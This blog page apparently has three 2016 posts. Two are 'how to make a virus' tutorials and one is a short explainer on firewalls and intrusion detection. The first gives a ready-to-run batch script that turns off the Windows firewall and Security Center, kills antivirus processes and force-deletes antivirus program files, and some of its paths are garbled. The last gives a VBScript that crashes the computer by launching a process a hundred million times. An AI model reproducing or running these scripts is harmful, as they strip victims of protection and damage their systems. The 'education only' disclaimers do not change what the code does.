Showing posts with label how to make a virus. Show all posts
Showing posts with label how to make a virus. Show all posts

Monday, 2 May 2016

Virus That kill Anti-Virus

Virus That kill Anti-Virus

Hello Friends, Today we are going to make a virus which will kill or disable the Anti-virus. This will be very Help full when we are going to attack prior attack we just have to execute the virus this will disable the Anti-virus & we have more chances for making our attack successful.

Warning

Please don't try to run this Virus on your computer it can harm your computer. I will not be Responsible for any damage done to your Computer. This virus is only for Education purpose. Please don't use it with wrong purpose.

What is Anti-Virus

Antivirus or anti-virus software, sometimes known as anti-malware software, is computer software used to prevent, detect and remove malicious software.
Antivirus software was originally developed to detect and remove computer viruses, hence the name. However, with the proliferation of other kinds of malware, antivirus software started to provide protection from other computer threats. In particular, modern antivirus software can protect from: malicious Browser Helper Objects (BHOs), browse, Virus, Trojan, Root Kits.

What id Killing Anti-virus ?

Killing Anti-virus mean Disabling the Anti-virus. Which mean after killing our antivirus will not run. and our computer is not protected.

Pre-requisite

  • Computer Installed with OS
  • Notepad

Steps to Create Virus

1. Go to the Start.
2. Open Notepad
3. Copy & paste the code given below.

____________CODE____________
@ echo off
rem —
rem RIP Anti Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files
ood32krn\*.exe
del /Q /F C:\Program Files
ood32\*.exe
cls
del /Q /F C:\Program Files
od32
del /Q /F C:\Program Files
ood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem —
____________________________________________

5. Save the File with ".bat" Extension.
6. Now your Virus is ready to use.


[NOTE] Please don't try to run this Virus on your computer it can harm your computer. I will not be Responsible for any damage done to your Computer. This virus is only for Education purpose. Please don't use it with wrong purpose.

___________________________________Thank You___________________________________

Friday, 29 April 2016

Understanding Firewall & IDS

Understanding Firewall & IDS

Business try to protect Their resources with a number of tools and devices. It is the Job of the Ethical Hacker to understand how they so that they can be fortified , if found vulnerable after an ethical hacking attack.

Firewall



What is Firewall ?

Firewall is an appliance or an application that controls the flow of traffic from private network to public network based on the rules configured. The Firewall acts a a barrier between secured internal network and public networks.
Newer Generation firewall can do much more than just controlling network traffic they can block unwanted websites, stop viruses from being download and also filter spam massages.

What are the functions of a Firewall ?

The Primary Function of a Firewall is to control the Flow of Traffic between different Network.

It also does Network Address Translation (NAT) for all requests coming from local (LAN) Networks going to the Internet and also checks whether this user or host is allowed to access the Internet.
For example, If a web page is requested by a local PC , then that requested has to be Natted to a public IP address and approve by the Firewall to reach the Internet. The response coming back from the webserver has to be accepted by the Firewall. Only then can the web page be displayed on the host.

Firewall can also handle Virtual Private Network (VPN) Connections to establish a secure communication channel between different network.

User authentication is also Firewall feature , used to verify users before giving access to resources on other networks.

Intrusion Prevention System


What is IDS ?

Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, attempt to block/stop it, and report it.
There are network based (NIDS) and host based (HIDS) intrusion detection systems. 

How does an IDS work

An Intrusion detection system (IDS) has attack signatures provided by the vendor. Every request Received by the IDS will be Compared against all the signature to identify a know attacks.

IDS also does a heuristic analysis to identify any malicious traffic patterns, but this requires the IDS to learn the normal traffic patterns, but this requires the IDS to learn the normal traffic patterns to a specific server or a specific service.

Span

Switched port Analyser (SPAN) also called as a port mirroring is a method of transmitting a copy of all packets received on one port of a network switch to another port for analysis.

Span has to be configured on the network switch to capture traffic On IDS for inspection.

IDS Tools

There are different IDS tools available, the most popular ones are Snort, OSSIM (Open Source Security Information Management) and Sguil.


Thursday, 28 April 2016

Virus That Crashes the Computer

Virus That Crashes the Computer

Hello, Friends Today we are Going to make a "Virus that Crashes the Computer"


So Friends, Today we creating a Virus That Crashes the Computer. So please don't try to run this Virus On your own Computer. This Virus is very dangerous for Computer. This can Harm your Computer very badly. I will not be Responsible for any Damage done to your Computer. Do all the Practical on your Own risk.


In this Post, We are going to develop a "Virus" which Crashes the Computer. To Develop this Virus i am going to use Visual Basic Script. 

After opening the Virus Computer get Crash. There is no other way to protect your Computer.

[Note] This Post is only for Educational Purpose.

Steps to Create Virus


1. Go to Start Menu.
2. Open Notepad.
3. Just copy & Paste the Code Given Below.
_______________CODE_______________

Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next
____________________________________
4. Save this file with ".vbs" Extension.
5. Your Virus is Completed. It is ready to Run.

_________________________Thank You_________________________